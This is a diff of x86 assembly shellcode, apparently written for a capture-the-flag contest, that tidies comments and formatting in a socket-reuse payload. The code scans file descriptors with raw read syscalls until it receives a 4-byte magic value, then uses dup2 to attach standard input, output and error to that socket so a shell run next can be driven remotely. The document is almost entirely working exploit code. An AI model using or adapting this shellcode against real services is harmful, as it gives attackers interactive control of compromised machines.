@@ -12,8 +12,7 @@ global main
1212
1313main:
1414 mov ecx , esp ; TODO is this too early?
15- ;;mov ecx, dword 0xbfffff4c
16- xor cx , cx ; esi=some valid stack address
15+ xor cx , cx ; ecx=some valid stack address
1716
1817 xor ebx , ebx
1918 mov bl , 20 ;adjust for the popularity of the ctf
@@ -28,32 +27,25 @@ ourread:
2827.next:
2928 ; sets up read
3029 xor eax , eax
31- mov al , 3 ;eax
32-
33- ;lea esi,[rel main] ;since we expect to be W&X we can resue main
34- ;for storage
35- ; TODO get storage via the
36- ; mov eax esp/ xor ax, ax
37-
38-
39- int 0x80 ;read eax=3
40- ;syscall no work
41- ;sysenter
30+ mov al , 3 ;eax
31+ int 0x80 ;read eax=3
4232 cmp al , 4 ;check to see if we've received our 4 bytes
4333 jnz ourread ;if not, try with another file descriptor
34+ ;;TODO: lets get rid of this cmp al,4 nonsense and save some bytes.
4435 cmp [ ecx ], MAGIC ;this is our magic number %defined on top
4536 jnz ourread ; if we don't match try another file descriptor
4637
38+
4739 ;; this dup2 code attaches stdin stdout and stderr to our socket
4840 ;; so that we can talk to whatever program we run later
4941dup2:
5042 xor ecx , ecx
5143 mov cl , 2
5244.copy:
53- xor eax , eax ; because we want to nuke the retval of dup2
54- mov al , 63 ;dup2
45+ xor eax , eax ; because we need to nuke the retval of dup2
46+ mov al , 63 ;dup2
5547 int 0x80
56- dec ecx ; this is for looping stderr/out/in
48+ dec ecx ; this is for looping stderr/out/in
5749 jns dup2.copy
5850
5951 ;; now just some local shellcode
0 commit comments